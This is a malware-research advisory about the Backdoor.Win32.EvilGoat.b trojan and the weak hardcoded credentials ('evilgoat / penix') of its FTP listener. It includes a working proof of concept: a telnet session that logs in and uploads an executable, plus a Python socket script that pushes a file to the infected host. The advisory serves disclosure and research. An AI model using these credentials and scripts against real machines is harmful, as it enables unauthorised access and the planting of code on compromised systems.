Backdoor.Win32.EvilGoat.b MVID-2022-0619 Hardcoded Credential

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/20daf01e941f966b21a7ae431faefc65.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.EvilGoat.b  
Vulnerability: Weak Hardcoded Credentials  
Description: The malware listens on TCP port 13014. Authentication is required, however the credentials "evilgoat / penix" are weak and found within the PE file.  
Family: EvilGoat  
Type: PE32  
MD5: 20daf01e941f966b21a7ae431faefc65  
Vuln ID: MVID-2022-0619  
Dropped files: ftpsvr.exe  
Disclosure: 06/29/2022  
  
Exploit/PoC:  
telnet.exe x.x.x.x 13014  
  
220 FTP Server  
USER evilgoat  
331 Password required for evilgoat.  
PASS penix  
230 User evilgoat logged in.  
SYST  
500 'SYST': command not understood.  
PASV  
227 Entering Passive Mode (192,168,18,125,236,209)  
CDUP \  
250 CWD command successful.  
STOR DOOM.exe  
150 Opening BINARY mode data connection for file transfer.  
226 Upload Complete, 25602 bytes sent.  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=60625  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`